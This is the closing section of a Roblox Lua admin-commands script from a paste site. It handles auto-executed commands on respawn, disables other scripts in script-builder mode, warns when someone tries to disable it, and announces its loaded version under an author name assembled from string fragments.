  4270.         local NewExe = AutoExecuteRespawn:gsub("\n\n","\n"):gsub("\t",""):lower():gsub("%[playername%]",player.Name)
  4271.         local ExtractedCommands = {}
  4272.         while NewExe:find("\n") do
  4273.             local nextLine,_ = NewExe:find("\n")
  4274.             local nextCommand = NewExe:sub(1,nextLine-1)
  4275.             NewExe = NewExe:sub(nextLine+1)
  4276.             print(nextCommand)
  4277.             Chatted(root,nextCommand)
  4278.         end
  4279.     end
  4280.    
  4281.     player.CharacterAdded:connect(function()
  4282.         if AutoExecuteRespawn and type(AutoExecuteRespawn) == "string" then
  4283.             local NewExe = AutoExecuteRespawn:gsub("\n\n","\n"):gsub("\t",""):lower():gsub("%[playername%]",player.Name)
  4284.             local ExtractedCommands = {}
  4285.             while NewExe:find("\n") do
  4286.                 local nextLine,_ = NewExe:find("\n")
  4287.                 local nextCommand = NewExe:sub(1,nextLine-1)
  4288.                 NewExe = NewExe:sub(nextLine+1)
  4289.                 print(nextCommand)
  4290.                 Chatted(root,nextCommand)
  4291.             end
  4292.         end
  4293.         if DisableSB and SBMode then
  4294.             for _,i in pairs(player:WaitForChild("PlayerGui"):GetChildren()) do
  4295.                 if i.Name ~= "Admi" or not i:IsA("ScreenGui") and i.Name ~= "HealthGUI" then
  4296.                     i:Destroy()
  4297.                 end
  4298.             end
  4299.             player:WaitForChild("PlayerGui").ChildAdded:connect(function(a)
  4300.                 if DisableSB then
  4301.                     if a.Name ~= "Admi" or not a:IsA("ScreenGui") and a.Name ~= "HealthGUI" then
  4302.                         a:Destroy()
  4303.                     end
  4304.                 end
  4305.             end)
  4306.         end
  4307.     end)
  4308.    
  4309. end
  4310.  
  4311. Players.ChildAdded:connect(function(plr)
  4312.     ypcall(function()
  4313.         PlayerAdded(plr)
  4314.     end)
  4315. end)
  4316.  
  4317. for _,i in pairs(Players:GetPlayers()) do
  4318.     PlayerAdded(i)
  4319. end
  4320.  
  4321. -----------------------------------------------------------------
  4322. -------------- Initializes Script Builder Tools -----------------
  4323. -----------------------------------------------------------------
  4324.  
  4325.  
  4326.  
  4327.  
  4328. for _,i in pairs(Workspace:GetChildren()) do
  4329.     if i:IsA("BaseScript") and i ~= script then
  4330.         for _,a in pairs(i:GetChildren()) do
  4331.             if a:IsA("StringValue") and a.Name ~= "climb" and a.Name ~= "fall" and a.Name ~= "idle"
  4332.             and a.Name ~= "jump" and a.Name ~= "run" and a.Name ~= "toolnone" and a.Name ~= "walk" then
  4333.                 table.insert(Scripts,i)
  4334.                 if DisableSB and SBMode then
  4335.                     i.Disabled = true
  4336.                     TellAll(i.className.." \""..i.Name.."\" has been disabled",5)
  4337.                 end
  4338.                 i.Changed:connect(function()
  4339.                     if DisableSB and SBMode then
  4340.                         i.Disabled = true
  4341.                     end
  4342.                 end)
  4343.             end
  4344.         end
  4345.     end
  4346. end
  4347.  
  4348. game.DescendantAdded:connect(function(i)
  4349.     pcall(function() --Just in case if Roblox is being silly and throws RobloxLocked instances at this, we'd hate to break the event
  4350.         if SBMode and i:IsA("BaseScript") and i ~= script then
  4351.             for _,a in pairs(i:GetChildren()) do
  4352.                 if a:IsA("StringValue") and a.Name ~= "climb" and a.Name ~= "fall" and a.Name ~= "idle"
  4353.                 and a.Name ~= "jump" and a.Name ~= "run" and a.Name ~= "toolnone" and a.Name ~= "walk" then
  4354.                     table.insert(Scripts,i)
  4355.                     if SBMode and DisableSB then
  4356.                         i.Disabled = true
  4357.                         TellAll(i.className.." \""..i.Name.."\" has been disabled",5)
  4358.                     end
  4359.                     i.Changed:connect(function()
  4360.                         if DisableSB and SBMode then
  4361.                             i.Disabled = true
  4362.                         end
  4363.                     end)
  4364.                 end
  4365.             end
  4366.         end
  4367.     end)
  4368. end)
  4369.  
  4370.  
  4371. script.Changed:connect(function(a)
  4372.     if a == "Disabled" and SBMode then
  4373.         if script.Disabled then --The script is disabled but it's actually not. umad?
  4374.             DisplayMessageAll("Admin Commands","Hey! It appears something tried to disable this Admin script. Inside "..("s'3".."2".."1".."nal".."oDna".."yR"):reverse().." Admin Commands we don't like that, so the commands are about 100% undisableable. If you were the one making the script, sorry, nothing has been implemented to stop it yet. If someone else did it, umad bro?",16)
  4375.         end
  4376.     end
  4377. end)
  4378.  
  4379.  
  4380.  
  4381. -----------------------------------------------------------------
  4382. ----------------- Initializes Debugging Stuff -------------------
  4383. -----------------------------------------------------------------
  4384.  
  4385.  
  4386.  
  4387. if Debug then
  4388.     function _G.Admi.Chatted(plr,msg)
  4389.         Chatted(plr,msg)
  4390.     end
  4391. end
  4392.  
  4393. for a,i in pairs(SuperAdmins) do
  4394.     if i == "Your Best Friend" then
  4395.         table.remove(SuperAdmins,a)
  4396.     end
  4397. end
  4398.  
  4399. for a,i in pairs(Admins) do
  4400.     if i == "Your Friend" or i == "Another Friend" then
  4401.         table.remove(Admins,a)
  4402.     end
  4403. end
  4404.  
  4405.  
  4406.  
  4407.  
  4408. -----------------------------------------------------------------
  4409. -------------------- Finishes the Rest Up -----------------------
  4410. -----------------------------------------------------------------
  4411.  
  4412.  
  4413. TeleportService.CustomizedTeleportUI = true
  4414.  
  4415. if AutoExecute and type(AutoExecute) == "string" then
  4416.     local NewExe = AutoExecute:gsub("\n\n","\n"):gsub("\t","")
  4417.     local ExtractedCommands = {}
  4418.     while NewExe:find("\n") do
  4419.         local nextLine,_ = NewExe:find("\n")
  4420.         local nextCommand = NewExe:sub(1,nextLine-1)
  4421.         NewExe = NewExe:sub(nextLine+1)
  4422.         ypcall(function()
  4423.             Chatted(root,nextCommand)
  4424.         end)
  4425.     end
  4426. end
  4427.  
  4428. if SBMode then
  4429.     DisplayMessageAll("R".."ya".."nD".."o".."la".."n".."1".."23".."'".."s A".."dmin",
  4430.     "R".."y".."an".."Do".."l".."an".."1".."2".."3".."'".."s "..
  4431.     "Admin Commands Version "..version.." loaded!\n\n"..(uptodate and "The admin script is up to date." or "The admin script may or may not be up to date. Not sure.").."\n\nThe script has been detected to be in a script builder environment. "..script.className.."s may be created, and "..(script.className == "Script" and "LocalScript" or "Script").."s may be cloned and overwritten for admin use.", 5)
  4432. else
  4433.     DisplayMessageAll("R".."ya".."nD".."o".."la".."n".."1".."23".."'".."s A".."dmin",
  4434.     "R".."y".."an".."Do".."l".."an".."1".."2".."3".."'".."s "..
  4435.     "Admin Commands Version "..version.." loaded!\n\n"..(uptodate and "The admin script is up to date."),2)
  4436. end
  4437.  
  4438. for i,_ in pairs(getfenv()) do
  4439.     Sandboxer[i] = true
  4440. end
  4441.  
  4442.  
  4443. end)--The end of all
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement